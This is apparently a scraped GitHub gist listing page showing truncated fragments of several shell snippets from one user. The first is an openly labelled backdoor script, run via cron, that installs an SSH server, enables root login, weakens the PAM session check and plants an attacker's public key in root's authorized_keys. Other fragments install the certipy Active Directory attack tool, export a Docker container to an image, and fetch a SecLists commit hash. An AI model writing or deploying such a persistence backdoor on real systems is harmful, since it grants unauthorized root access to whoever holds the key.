This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Place our backdoor script into /tmp/ssh.sh | |
| # This will be ran by cron | |
| # Run one line at a time. Do not try to paste entire command in at once.... | |
| cat << EOF > /tmp/ssh.sh | |
| apt update ; apt install openssh-server -y ; mkdir -p /var/run/sshd && sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config && sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd ; mkdir -p /root/.ssh && touch /root/.ssh/authorized_keys ; echo "ENTER YOUR PUBLIC KEY HERE" >> /root/.ssh/authorized_keys ; /usr/sbin/service ssh restart | |
| # Then type EOF and press enter | |
| # Ensure the script has execute permissions | |
| chmod +x /tmp/ssh.sh |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #! /bin/bash | |
| # NOTE: To make use of a wider color pallet set the TERM enviornment variable TERM=xterm-256color | |
| # Colors | |
| BOLD=$(tput bold) | |
| NOCOLOR=$(tput sgr0) | |
| RED=$(tput setaf 1) | |
| GREEN=$(tput setaf 2) | |
| YELLOW=$(tput setaf 3) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Install certipy | |
| apt update -y &> /dev/null && apt upgrade -y &> /dev/null && apt install -y python3 python3-pip &> /dev/null && pip3 install certipy-ad &> /dev/null ; echo -e "\033[0;32m - Certipy installed \033[0m" | |
| # List containers, identify container id | |
| sudo docker container ls | |
| # Stage the current container into an image | |
| sudo docker commit <container_id> <image_name> | |
| # Save the image as a .tar file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if [ $# -ne 2 ] | |
| then | |
| echo "Usage: getsha1 <github_url> <path_to_store_file> | |
| IE: getsha1 https://github.com/danielmiessler/SecLists Documents/wordlists/seclists" | |
| exit | |
| fi | |
| github="$1" | |
| sha1=$(git ls-remote $1 | awk '{print $1}' | head -n 1) | |
| echo " | |
| home.file = { |
NewerOlder